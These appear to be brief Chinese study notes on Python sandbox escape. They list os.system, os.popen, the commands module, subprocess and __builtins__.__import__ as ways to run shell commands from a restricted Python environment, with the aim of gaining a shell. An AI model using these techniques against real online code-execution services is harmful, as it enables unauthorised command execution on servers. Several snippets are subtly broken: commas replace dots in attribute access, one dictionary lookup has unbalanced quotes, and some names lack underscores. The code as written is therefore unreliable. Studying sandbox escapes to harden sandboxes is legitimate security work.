from Kuller_Yan
Python沙箱: 是网站在提供在线python脚本执行,而有不想用户直接使用python执行
系统命令对系统造成危害,而对Python的一个阉割版本,被阉割的版本删去了命令执行
,服务器文件读写等相关函数和文件。
沙箱逃逸思路:
1:实现目的最终想法:
·使用OS包中的popen,system两个函数来执行shell
·使用commands模块中的方法
·使用subprocess
·使用写文件到指定位置,再使用其他辅助手段
import os
import subprocess
import commands
直接输入shell命令,以ifconfig举例
os.system(‘ifconfig’)
os.popen(‘ifconfig’)
commands.getoutput(‘ifconfig’)
commands.getstatusoutput(‘ifconfig’)
subprocess.call([‘ifconfig’],shell=True)
沙箱逃逸:从一个受限制的python执行环境中获取更高的权限,甚至getshell
_builtins_:
dir(_builtins_)可以查看内置函数,展示所有内置类型和函数。
_import_函数
直接调用:
__builtins__,__import__('os').system('dir')
通过dict访问:
__builtins__,__dict__['__import__('os')]